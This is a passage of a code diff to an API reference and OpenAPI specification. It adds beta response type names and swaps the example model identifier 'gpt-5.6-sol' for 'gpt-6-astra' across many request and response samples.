+- client.safety.alerts.retrieve(id) -> SafetyAlert
+
# [Webhooks](src/openai/resources/webhooks/api.md)
Methods:
@@ -492,6 +506,8 @@ from openai.types.beta import (
BetaResponseComputerToolCall,
BetaResponseComputerToolCallOutputItem,
BetaResponseComputerToolCallOutputScreenshot,
+ BetaResponseConfigurationUpdateItem,
+ BetaResponseConfigurationUpdateItemParam,
BetaResponseContainerReference,
BetaResponseContent,
BetaResponseContentPartAddedEvent,
@@ -581,6 +597,15 @@ from openai.types.beta import (
BetaResponseShellCallOutputContentDeltaEvent,
BetaResponseShellCallOutputContentDoneEvent,
BetaResponseStatus,
+ BetaResponseSteerAcceptedEvent,
+ BetaResponseSteerErrorCode,
+ BetaResponseSteerEvent,
+ BetaResponseSteerFailedEvent,
+ BetaResponseSteerInput,
+ BetaResponseSteerInputContent,
+ BetaResponseSteerPendingEvent,
+ BetaResponseSteerPendingReason,
+ BetaResponseSteerRequiredInput,
BetaResponseStreamEvent,
BetaResponseTextConfig,
BetaResponseTextDeltaEvent,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 272cbeaf28..db232b77d4 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -1941,7 +1941,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -2018,7 +2018,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"messages": [
{
"role": "developer",
@@ -2035,7 +2035,7 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
messages=[
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2051,7 +2051,7 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
messages: [{ role: "developer", content: "You are a helpful assistant." }],
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
store: true,
});
@@ -2066,7 +2066,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2084,7 +2084,7 @@ paths:
"id": "chatcmpl-B9MBs8CjcvOU2jLn4n570S5qMJKcT",
"object": "chat.completion",
"created": 1741569952,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"choices": [
{
"index": 0,
@@ -2122,7 +2122,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"messages": [
{
"role": "user",
@@ -2148,7 +2148,7 @@ paths:
client = OpenAI()
response = client.chat.completions.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
messages=[
{
"role": "user",
@@ -2174,7 +2174,7 @@ paths:
async function main() {
const response = await openai.chat.completions.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
messages: [
{
role: "user",
@@ -2200,7 +2200,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2221,7 +2221,7 @@ paths:
"id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
"object": "chat.completion",
"created": 1741570283,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"choices": [
{
"index": 0,
@@ -2259,7 +2259,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"messages": [
{
"role": "developer",
@@ -2277,7 +2277,7 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
messages=[
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2294,7 +2294,7 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
messages: [
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2317,7 +2317,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2337,13 +2337,13 @@ paths:
}
}
response: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]}
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}]}
....
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-6-astra", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}]}
- title: Functions
request:
curl: |
@@ -2351,7 +2351,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"messages": [
{
"role": "user",
@@ -2409,7 +2409,7 @@ paths:
]
messages = [{"role": "user", "content": "What's the weather like in Boston today?"}]
completion = client.chat.completions.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
messages=messages,
tools=tools,
tool_choice="auto"
@@ -2445,7 +2445,7 @@ paths:
];
const response = await openai.chat.completions.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
messages: messages,
tools: tools,
tool_choice: "auto",
@@ -2462,7 +2462,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2507,7 +2507,7 @@ paths:
"id": "chatcmpl-abc123",
"object": "chat.completion",
"created": 1699896916,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"choices": [
{
"index": 0,
@@ -2547,7 +2547,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"messages": [
{
"role": "user",
@@ -2563,7 +2563,7 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
messages=[
{"role": "user", "content": "Hello!"}
],
@@ -2582,7 +2582,7 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
messages: [{ role: "user", content: "Hello!" }],
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
reasoning_effort: "none",
logprobs: true,
top_logprobs: 2,
@@ -2599,7 +2599,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2623,7 +2623,7 @@ paths:
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1702685778,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"choices": [
{
"index": 0,
@@ -2868,7 +2868,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-abc123",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -2957,7 +2957,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -5090,14 +5090,14 @@ paths:
-X POST \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-H "Content-Type: application/json" \
- -d '{"name":"gpt-5.6-sol","data_source":{"type":"completions","input_messages":{"type":"template","template":[{"role":"developer","content":"Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"} , {"role":"user","content":"{{item.input}}"}]} ,"sampling_params":{"max_completions_tokens":2048},"model":"gpt-5.6-sol","source":{"type":"file_content","content":[{"item":{"input":"Tech Company Launches Advanced Artificial Intelligence Platform","ground_truth":"Technology"}}]}}}'
+ -d '{"name":"gpt-6-astra","data_source":{"type":"completions","input_messages":{"type":"template","template":[{"role":"developer","content":"Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"} , {"role":"user","content":"{{item.input}}"}]} ,"sampling_params":{"max_completions_tokens":2048},"model":"gpt-6-astra","source":{"type":"file_content","content":[{"item":{"input":"Tech Company Launches Advanced Artificial Intelligence Platform","ground_truth":"Technology"}}]}}}'
python: |
from openai import OpenAI
client = OpenAI()
run = client.evals.runs.create(
"eval_67e579652b548190aaa83ada4b125f47",
- name="gpt-5.6-sol",
+ name="gpt-6-astra",
data_source={
"type": "completions",
"input_messages": {
@@ -5116,7 +5116,7 @@ paths:
"sampling_params": {
"max_completions_tokens": 2048
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"source": {
"type": "file_content",
"content": [
@@ -5139,7 +5139,7 @@ paths:
const run = await openai.evals.runs.create(
"eval_67e579652b548190aaa83ada4b125f47",
{
- name: "gpt-5.6-sol",
+ name: "gpt-6-astra",
data_source: {
type: "completions",
input_messages: {
@@ -5158,7 +5158,7 @@ paths:
sampling_params: {
max_completions_tokens: 2048
},
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
source: {
type: "file_content",
content: [
@@ -5181,8 +5181,8 @@ paths:
"eval_id": "eval_67e579652b548190aaa83ada4b125f47",
"report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47&run_id=evalrun_67e57965b480819094274e3a32235e4c",
"status": "queued",
- "model": "gpt-5.6-sol",
- "name": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
+ "name": "gpt-6-astra",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5226,7 +5226,7 @@ paths:
}
]
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"sampling_params": {
"max_completions_tokens": 2048
}
@@ -5300,8 +5300,8 @@ paths:
"eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
"report_url": "https://platform.openai.com/evaluations/eval_67abd54d9b0081909a86353f6fb9317a?run_id=evalrun_67abd54d60ec8190832b46859da808f7",
"status": "queued",
- "model": "gpt-5.6-sol",
- "name": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
+ "name": "gpt-6-astra",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5429,7 +5429,7 @@ paths:
}
]
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"sampling_params": {
"max_completions_tokens": 2048
}
@@ -5503,8 +5503,8 @@ paths:
"eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
"report_url": "https://platform.openai.com/evaluations/eval_67abd54d9b0081909a86353f6fb9317a?run_id=evalrun_67abd54d60ec8190832b46859da808f7",
"status": "canceled",
- "model": "gpt-5.6-sol",
- "name": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
+ "name": "gpt-6-astra",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5632,7 +5632,7 @@ paths:
}
]
},
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"sampling_params": {
"max_completions_tokens": 2048
}
@@ -5865,7 +5865,7 @@ paths:
}
],
"finish_reason": "stop",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"usage": {
"total_tokens": 325,
"completion_tokens": 2,
@@ -6001,7 +6001,7 @@ paths:
}
],
"finish_reason": "stop",
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"usage": {
"total_tokens": 325,
"completion_tokens": 2,
@@ -8257,7 +8257,7 @@ paths:
required: true
schema:
type: string
- example: gpt-5.6-sol
+ example: gpt-6-astra
description: The ID of the model to use for this request
responses:
'200':
@@ -8272,20 +8272,20 @@ paths:
examples:
request:
curl: |
- curl https://api.openai.com/v1/models/gpt-5.6-sol \
+ curl https://api.openai.com/v1/models/gpt-6-astra \
-H "Authorization: Bearer $OPENAI_API_KEY"
python: |
from openai import OpenAI
client = OpenAI()
- client.models.retrieve("gpt-5.6-sol")
+ client.models.retrieve("gpt-6-astra")
javascript: |-
import OpenAI from "openai";
const openai = new OpenAI();
async function main() {
- const model = await openai.models.retrieve("gpt-5.6-sol");
+ const model = await openai.models.retrieve("gpt-6-astra");
console.log(model);
}
@@ -8305,7 +8305,7 @@ paths:
Console.WriteLine(model.Value.Id);
response: |
{
- "id": "gpt-5.6-sol",
+ "id": "gpt-6-astra",
"object": "model",
"created": 1686935002,
"owned_by": "openai",
@@ -9482,7 +9482,7 @@ paths:
type: string
- name: line_items
in: query
- description: Return only costs for these exact line item names. Each value must match the complete `line_item` value, for example `gpt-5.6-sol, input_tokens`.
+ description: Return only costs for these exact line item names. Each value must match the complete `line_item` value, for example `gpt-6-astra, input_tokens`.
required: false
schema:
type: array
@@ -11669,7 +11669,7 @@ paths:
"object": "project.model_permissions",
"mode": "allow_list",
"model_ids": [
- "gpt-5.6-sol",
+ "gpt-6-astra",
"o3"
]
}
@@ -16532,7 +16532,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "Tell me a three sentence bedtime story about a unicorn."
}'
javascript: |
@@ -16541,7 +16541,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "Tell me a three sentence bedtime story about a unicorn."
});
@@ -16552,7 +16552,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="Tell me a three sentence bedtime story about a unicorn."
)
@@ -16562,7 +16562,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16580,7 +16580,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -16635,7 +16635,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -16655,7 +16655,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -16678,7 +16678,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -16701,7 +16701,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16729,7 +16729,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -16784,7 +16784,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": [
{
"role": "user",
@@ -16805,7 +16805,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: [
{
role: "user",
@@ -16828,7 +16828,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input=[
{
"role": "user",
@@ -16858,7 +16858,7 @@ paths:
"instructions": null,
"max_output_tokens": null,
"max_tool_calls": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"id": "msg_686eef60d3e081a29283bdcbc4322fd90e34c516d176ff86",
@@ -16916,7 +16916,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"tools": [{ "type": "web_search_preview" }],
"input": "What was a positive news story from today?"
}'
@@ -16926,7 +16926,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: [{ type: "web_search_preview" }],
input: "What was a positive news story from today?",
});
@@ -16938,7 +16938,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=[{ "type": "web_search_preview" }],
input="What was a positive news story from today?",
)
@@ -16950,7 +16950,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -16978,7 +16978,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "web_search_call",
@@ -17073,7 +17073,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"tools": [{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -17087,7 +17087,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: [{
type: "file_search",
vector_store_ids: ["vs_1234567890"],
@@ -17103,7 +17103,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=[{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -17119,7 +17119,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17150,7 +17150,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "file_search_call",
@@ -17276,7 +17276,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"instructions": "You are a helpful assistant.",
"input": "Hello!",
"stream": true
@@ -17287,7 +17287,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
instructions="You are a helpful assistant.",
input="Hello!",
stream=True
@@ -17301,7 +17301,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
instructions: "You are a helpful assistant.",
input: "Hello!",
stream: true,
@@ -17318,7 +17318,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17340,10 +17340,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -17366,7 +17366,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-6-astra","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -17374,7 +17374,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "What is the weather like in Boston today?",
"tools": [
{
@@ -17424,7 +17424,7 @@ paths:
]
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
tools=tools,
input="What is the weather like in Boston today?",
tool_choice="auto"
@@ -17456,7 +17456,7 @@ paths:
];
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
tools: tools,
input: "What is the weather like in Boston today?",
tool_choice: "auto",
@@ -17468,7 +17468,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17514,7 +17514,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "function_call",
@@ -17587,7 +17587,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"input": "How much wood would a woodchuck chuck?",
"reasoning": {
"effort": "high"
@@ -17598,7 +17598,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
input: "How much wood would a woodchuck chuck?",
reasoning: {
effort: "high"
@@ -17611,7 +17611,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.6-sol",
+ model="gpt-6-astra",
input="How much wood would a woodchuck chuck?",
reasoning={
"effort": "high"
@@ -17624,7 +17624,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.6-sol",
+ model: "gpt-6-astra",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -17652,7 +17652,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -17799,7 +17799,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
+ "model": "gpt-6-astra",
"output": [
{
"type": "message",
@@ -17964,7 +17964,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.6-sol",
